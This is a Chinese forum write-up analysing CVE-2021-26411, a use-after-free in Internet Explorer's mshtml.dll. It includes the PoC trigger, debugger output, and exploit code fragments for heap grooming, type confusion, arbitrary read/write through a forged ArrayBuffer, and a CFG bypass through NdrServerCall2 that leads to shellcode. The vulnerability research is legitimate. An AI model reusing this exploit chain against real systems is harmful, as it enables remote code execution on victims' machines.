CVE-2021-26411 该漏洞存在于iexplore.exe mshtml.dll模块,在JS9引擎处理dom对象时,由于未对nodevalue对象的有效性做判断,所导致的UAF漏洞,该漏洞可实现RCE.
漏洞poc
poc比较简单,首先创建了一个element.
创建了2个Attribute属性.
声明了一个对象obj,将obj的valueof函数进行了重载,重载后的函数会清空element的所有属性
attr1赋值obj,attr2赋值123,然后将将这两个属性赋值于element
最后清除element的attr1属性.
通过poc来看,最有可能产生uaf的代码可能是,obj.valueof重载后的回调函数,和最后element清除attr1属性的操作.但是并不确定obj.valueof()何时会被调用,代码中没有直接调用.
开始进行调试,程序会中断于此处,edx是CAttrArray,此处为空,在取偏移为0xC的值时,引发了空指针异常.
通过调用堆栈来看,程序会通过CElement::ie9_removeAttrubuteNode->ie9_removeAttributeNodeInternal->CattrArray::Destroy函数调用清除attr1.
下面对CElement::ie9_removeAttributeNodeInternal函数进行分析
当前CElement对象
首先会调用函数查找需要移除的Attr对象在CAttrArray中的索引
在CBase::FindAAIndexNS中可知CElement+0x10位置是CAttrArray数组,在数组中CAttrArray+8位置,可以看到数组.
这个数组中存储了Attributre和nodevalue对象.
poc中所创建的obj应是索引1处的0x165780C4,为nodevalue1,索引3处为nodevalue2,value值的0x7b=123.
CBase::FindAAIndexNS函数返回值为2,因为删除的元素是attr1,可知索引2处是attr1的对象.索引4为attr2的对象
然后程序再次调用该函数获取nodevalue对象索引,此时返回1.
接着会调用函数CBase::GetInfoBSTRat传入node_value对象索引,获取node_value值,并转换为BSTR字符串.在这个函数中获取node_value的操作会触发valueof函数的回调,会调用重载后的函数,执行"element.ClearAttribute();"的操作
而后执行函数删除CBase::DeleteAt删除索引2处attr对象
当前CAttrArray布局,可以看到CAttrArray由于被清空,attr和node_value元素均已被最后一个对象覆盖.
而后再次执行函数CBase::FindAIndexNS获取node_value索引,此时由于CAttrArray被清空,已经获取不到了,此时返回-1,随后调用DeleteAt删除node_value,但是前面获取的node_value索引是-1
传入索引为-1时,会触发异常将CAttrArray置为null,在CAttrArray::Destroy函数获取成员变量时触发空指针异常.
由于在ClearAttributes();函数执行时,CAttrArray数组中会通过最后一个对象进行覆盖操作,并且在后面第一次执行CBase::DeleteAt中会进行取值.所以可以通过创建BSTR字符串,赋值给最后一个nodevalue,在SysFreeString时进行触发释放重引用.
修改后poc如下:
当前Array
执行完ClearAttributes后,CAttrArray被覆盖,并且node_value的BSTR字符串已经被释放.
BSTR内存空间被释放
第一次DeleteAt时,nodevalue中BSTR字符串内存空间被释放重引用.所以该漏洞本质是一个UAF类型的漏洞.
漏洞的利用方式是通过两个指针指向该nodevalue内存,进行类型混淆,通过读写这块内存构造出一个起始地址为0,长度为0xffffffff的ArrayBuffer,然后解析为DataView,实现任意地址的读写.
而后通过构造RPC_MESSAGE调用NdrServerCall进行任意系统函数的调用,覆盖rpcrt4.dll系统调用为KiFastSystemCalRetl关闭rpcrt4.dll的CFG保护,然后进行任意函数的跳转.执行shellcode.
在第二次DeleteAt时,FindAAIndexNS返回索引为-1,而导致在函数中主动触发异常使CAttray被置空,所以需要绕过异常,可以在ClearAttributes后,再将attribute set回去,同时在ClearAttributes释放内存后,hd2.nodevalue使用大小为0x20010的dataview对象占用这块内存空间.
然后在removeAttribute时进行二次释放,然后使用一个dict对象再次占用这块内存.这样做的目的是进行类型混淆,通过hd2.nodevalue读取和修改hd0.nodevalue内存.
然后取出fakeBuf的地址,并刷新nodevalue的内存写入前40个字节地址.
再次将这些内存地址读取至bufArr[i]中,取出fakeBuf属性
Int32Array,ArrayBuffer内存结构参考,64位下有所差别
这里对ArrayBuffer做了封装,外层是JavaScriptDispatch对象
ArrayBuffer_data由于前面通过下面这条代码进行初始化,所以其中存储的是Array对象.也是后面要进行伪造的ArrayBuffer对象
刷新后,0f0 0f4 10c位置对应着fakebuf的属性
然后通过前面申请的指向fakeBuf的fakeArray对象伪造出一份起始地址为0x0,长度为0xffffffff的ArrayBuffer对象,将bufArr中属性写入fakeArr,并将fake的ArrayBuf虚表指针地址fakeArr[4]位置,
将fake的一些属性进行替换,并将长度修改为0xffffffff,然后将构造好的ArrayBuffer写入node_value中
然后将这个ArrayBuffer解析为dataview对象,就可以实现任意地址读写.然后通过将对象存储至arr[{}],并读取pArr值,实现任意对象地址的读取.
通过任意地址读写泄露模块的基址,通过PE文件结构获取一些函数地址
而后创建了一个Attribute对象xyz,并覆盖其函数normalize(),修改为NdrServerCall2
RPC_MESSAGE结构,由图中可以看出Handle存放了一个OSF_SCALL虚表指针,Buffer位置存放了远程调用中函数的传参,RpcInterfaceInformation存放了函数接口信息,通过几个结构体包装了函数的信息,最终会指向的是函数的指针.然后最终通过NdrServerCall2进行调用.
NdrServerCall2接收参数RPC_MESSAGE,内部会调用NdrStubCall2函数
内部在获取RPC_MESSAGE后会对函数偏移进行一些计算,以及参数做一些处理,然后进行函数调用
第一个值Handle是OSF_SCALL 虚表指针,通过查看其引用,可以通过调用函数I_RpcTransServerNewConnection函数获取到这个虚表指针填充至handle.
exp中也是这样进行构造的
然后对RPC结构进行初始化
通过覆盖rpcrt4_guard_check_icall_fptr中保存的函数指针,修改为KiFastSystemCallRet关闭CFG保护.使其可以跳转到shellcode.
执行shellcode
https://enki.co.kr/blog/2021/02/04/ie_0day.html
https://ha.cker.in/index.php/Article/17190
https://iamelli0t.github.io/2021/03/12/CVE-2021-26411.html
https://paper.seebug.org/1579/
<script>
var element
=
document.createElement(
'xxx'
);
var attr1
=
document.createAttribute(
'yyy'
);
var attr2
=
document.createAttribute(
'zzz'
);
var obj
=
{};
obj.valueOf
=
function() {
element.clearAttributes();
return
0x1337
;
};
attr1.nodeValue
=
obj;
attr2.nodeValue
=
123
;
element.setAttributeNode(attr1);
element.setAttributeNode(attr2);
element.removeAttributeNode(attr1);
<
/
script>
<script>
var element
=
document.createElement(
'xxx'
);
var attr1
=
document.createAttribute(
'yyy'
);
var attr2
=
document.createAttribute(
'zzz'
);
var obj
=
{};
obj.valueOf
=
function() {
element.clearAttributes();
return
0x1337
;
};
attr1.nodeValue
=
obj;
attr2.nodeValue
=
123
;
element.setAttributeNode(attr1);
element.setAttributeNode(attr2);
element.removeAttributeNode(attr1);
<
/
script>
element.removeAttributeNode(attr1);
element.removeAttributeNode(attr1);
<script>
var element
=
document.createElement(
'a'
);
var attr1
=
document.createAttribute(
'b'
);
var attr2
=
document.createAttribute(
"c"
);
var hd2;
var obj
=
{};
obj.valueOf
=
function () {
element.clearAttributes();
return
0x1337
;
};
attr1.nodeValue
=
obj;
element.setAttributeNode(attr1);
element.setAttribute(
"d"
, Array(
0x10000
).join(
'A'
));
element.removeAttributeNode(attr1);
<
/
script>
<script>
var element
=
document.createElement(
'a'
);
var attr1
=
document.createAttribute(
'b'
);
var attr2
=
document.createAttribute(
"c"
);
var hd2;
var obj
=
{};
obj.valueOf
=
function () {
element.clearAttributes();
return
0x1337
;
};
attr1.nodeValue
=
obj;
element.setAttributeNode(attr1);
element.setAttribute(
"d"
, Array(
0x10000
).join(
'A'
));
element.removeAttributeNode(attr1);
<
/
script>
att.nodeValue
=
{
valueOf: function () {
hd1.nodeValue
=
(new alloc1()).nodeValue
ele.clearAttributes()
/
/
重引用被释放的内存
hd2
=
hd1.cloneNode()
/
/
绕过异常
ele.setAttribute(
'attribute'
,
1337
)
}
}
att.nodeValue
=
{
valueOf: function () {
hd1.nodeValue
=
(new alloc1()).nodeValue
ele.clearAttributes()
/
/
重引用被释放的内存
hd2
=
hd1.cloneNode()
/
/
绕过异常
ele.setAttribute(
'attribute'
,
1337
)
}
}
function alloc1() {
var view
=
new DataView(abf)
var
str
=
''
for
(var i
=
4
; i < abf.byteLength
-
2
; i
+
=
2
)
str
+
=
'%u'
+
pad0(view.getUint16(i, true).toString(
16
))
var result
=
document.createAttribute(
'alloc'
)
result.nodeValue
=
unescape(
str
)
return
result
}
function alloc1() {
var view
=
new DataView(abf)
var
str
=
''
for
(var i
=
4
; i < abf.byteLength
-
2
; i
+
=
2
)
str
+
=
'%u'
+
pad0(view.getUint16(i, true).toString(
16
))
var result
=
document.createAttribute(
'alloc'
)
result.nodeValue
=
unescape(
str
)
return
result
}
function alloc2() {
/
/
创建字典对象
var dic1
=
new ActiveXObject(
'Scripting.Dictionary'
)
var dic2
=
new ActiveXObject(
'Scripting.Dictionary'
)
dic2.add(
0
,
1
)
dic1.add(
0
, dic2.items())
dic1.add(
1
, fake)
dic1.add(
2
, arr)
for
(i
=
3
; i <
0x20010
/
0x10
;
+
+
i)
dic1.add(i,
0x12341234
)
return
dic1.items()
}
var alloc
=
alloc2()
/
/
触发valueof函数回调
ele.removeAttributeNode(att)
/
/
再次重引用removeAttributeNode后被释放的内存
hd0.nodeValue
=
alloc
/
/
通过hd2.nodevalue读取重用后hd0.nodevalue内存
var leak
=
new Uint32Array(dump(hd2.nodeValue))
/
/
fake
var pAbf
=
leak[
6
]
/
/
arr[]地址
var pArr
=
leak[
10
];
function alloc2() {
/
/
创建字典对象
var dic1
=
new ActiveXObject(
'Scripting.Dictionary'
)
var dic2
=
new ActiveXObject(
'Scripting.Dictionary'
)
dic2.add(
0
,
1
)
dic1.add(
0
, dic2.items())
dic1.add(
1
, fake)
dic1.add(
2
, arr)
for
(i
=
3
; i <
0x20010
/
0x10
;
+
+
i)
dic1.add(i,
0x12341234
)
return
dic1.items()
}
var alloc
=
alloc2()
/
/
触发valueof函数回调
ele.removeAttributeNode(att)
/
/
再次重引用removeAttributeNode后被释放的内存
hd0.nodeValue
=
alloc
/
/
通过hd2.nodevalue读取重用后hd0.nodevalue内存
var leak
=
new Uint32Array(dump(hd2.nodeValue))
/
/
fake
var pAbf
=
leak[
6
]
/
/
arr[]地址
var pArr
=
leak[
10
];
1
:
023
:x86> dd
0c0b8890
0c0b8890
00000000
00000000
098202b8
00000000
dict2.items();
0c0b88a0
00000009
00000000
09dcdec4
00000000
fakeBuf ArrayBuffer(
0x100
)
0c0b88b0
00000009
00000000
09dcdf04
00000000
arr [{}]
0c0b88c0
00000003
00000000
12341234
00000000
0c0b88d0
00000003
00000000
12341234
00000000
0c0b88e0
00000003
00000000
12341234
00000000
0c0b88f0
00000003
00000000
12341234
00000000
0c0b8900
00000003
00000000
12341234
00000000
1
:
023
:x86> dd
0c0b8890
0c0b8890
00000000
00000000
098202b8
00000000
dict2.items();
0c0b88a0
00000009
00000000
09dcdec4
00000000
fakeBuf ArrayBuffer(
0x100
)
0c0b88b0
00000009
00000000
09dcdf04
00000000
arr [{}]
0c0b88c0
00000003
00000000
12341234
00000000
0c0b88d0
00000003
00000000
12341234
00000000
0c0b88e0
00000003
00000000
12341234
00000000
0c0b88f0
00000003
00000000
12341234
00000000
0c0b8900
00000003
00000000
12341234
00000000
function flush() {
hd1.nodeValue
=
(new alloc1()).nodeValue
hd2.nodeValue
=
0
hd2
=
hd1.cloneNode()
}
var VT_I4
=
0x3
;
var VT_DISPATCH
=
0x9
;
var VT_BYREF
=
0x4000
;
var bufArr
=
new Array(
0x10
);
var fakeArr
=
new Uint32Array(fake);
for
(var i
=
0
; i <
0x10
; i
+
+
) {
setData(i
+
1
, new Data(VT_BYREF | VT_I4, pAbf
+
i
*
4
));
}
flush();
function flush() {
hd1.nodeValue
=
(new alloc1()).nodeValue
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-4-13 14:52
被ashLL编辑
,原因: